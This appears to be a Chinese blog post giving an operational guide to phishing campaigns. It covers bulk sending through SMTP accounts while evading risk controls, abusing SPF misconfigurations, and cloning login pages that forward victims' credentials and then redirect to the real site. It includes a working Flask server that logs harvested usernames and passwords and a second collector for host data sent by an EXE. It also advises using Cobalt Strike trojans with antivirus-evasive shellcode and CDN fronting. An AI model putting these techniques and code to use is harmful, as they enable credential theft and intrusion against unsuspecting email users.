LOADING

加载过慢请开启缓存 浏览器默认开启

常见钓鱼攻击手段

2025/6/23 钓鱼

钓鱼攻击通过伪装成可信赖的实体,利用社会工程学手段诱导用户泄露敏感信息或执行恶意操作。

1. 发件邮箱选择

1.1 使用第三方邮箱代发

使用163、QQ、189等邮箱开启smtp发件,使用python批量发件,实测一个邮箱发3000封没问题,不能使用新注册的邮箱,不然很容易风控。

img

1.2 自建邮件服务器

自建邮件服务器可以选择EwoMail搭建,尽量选择国外的厂商。国内(阿里云、腾讯云)25端口会限制出站,导致无法发送邮件。

EwoMail搭建参考:http://doc.ewomail.com/docs/ewomail/install

img

1.3 利用SPF漏洞

使用存在漏洞的邮箱发件。需要自己找存在漏洞的邮箱,然后用python实现批量发送。缺点是由于SPF配置不全,容易被拦截。

img

2.钓鱼方式选择

2.1 钓鱼网页模拟登录

浏览器保存html网页,使用编译器修改代码,满足用户输入数据后点击登录,账号密码推送到服务端,网页跳转到真正的邮箱页面。

首先保存一份要伪造的html

img

修改html代码,实现推送用户数据到服务端、点击登录跳转至真实邮箱,然后html托管到服务器。

img

img

服务端接受账号密码使用python实现

from flask import Flask, request

from datetime import datetime

app = Flask(__name__)

 
def write_to_file(uid, password):
  try:
​    current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
​    with open('ok.txt', 'a', encoding='utf-8') as file:
​      file.write(f"{current_time}\t{uid}\t{password}\n")
  except Exception as e:
​    print(f"写入文件时出错: {e}")
 
@app.route('/', methods=['POST'])

def receive():
  uid = request.form.get('uid')
  password = request.form.get('password')
  print(f"[+] 收到账号: {uid}, 密码: {password}")
  
  # 写入文件
  if uid and password:
​    write_to_file(uid, password)
  
  return 'ok'
 
if __name__ == '__main__':
  app.run(host='0.0.0.0', port=8080)

准备钓鱼邮件,超链接形式嵌入

img

用户点击后跳转至钓鱼页面

img

输入账号密码点击登录后服务端收到用户提交的信息,同时跳转到真实的网站。

img

批量发送钓鱼邮件

img

2.2 EXE信息收集器执行回传

收集主机信息,包括ip地址,mac地址,主机名,然后发送到服务端。收集的信息可以自己增加,比如主机SN,公网IP。

C++实现客户端数据读取及发送

Python接受推送的数据,并写入到服务端本地文件。

from flask import Flask, request

from datetime import datetime
 

app = Flask(__name__)
@app.route('/8080/', methods=['POST'])

def receive():
  data = request.get_json()
  required_fields = ["hostname", "username", "ip", "mac", "time"]
 
  if not data:
​    return "No Data", 400

  # 验证是否包含所有必需字段
  if not all(field in data for field in required_fields):
​    return "Missing required fields", 400
 
  # 时间戳
  timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")

  # 提取值并拼接为字符串
  values_str = " | ".join(str(data[field]) for field in required_fields)

  # 打印到控制台
  print(f"[{timestamp}] {values_str}")


  # 写入文件
  with open("ok.txt", "a", encoding="utf-8") as f:
​    f.write(f"[{timestamp}] {values_str}\n")

  return "OK", 200
 
if __name__ == '__main__':
  app.run(host='0.0.0.0', port=8080)

客户端执行exe后服务端收到数据

img

3.1 后门木马

直接使用木马作为附件进行发件,或者托管到oss让用户自己去下载。

木马可以选择Cobalt Strike或其他远控工具,对shellcode进行免杀处理,远程加载,修改Cobalt Strike服务端配置文件(UA头等配置),消除cs特征,最好使用CDN作为上线配置。

3.垃圾邮件检测

发件前可以使用这个网站检测一下垃圾邮件的匹配度。

https://www.mail-tester.com/

img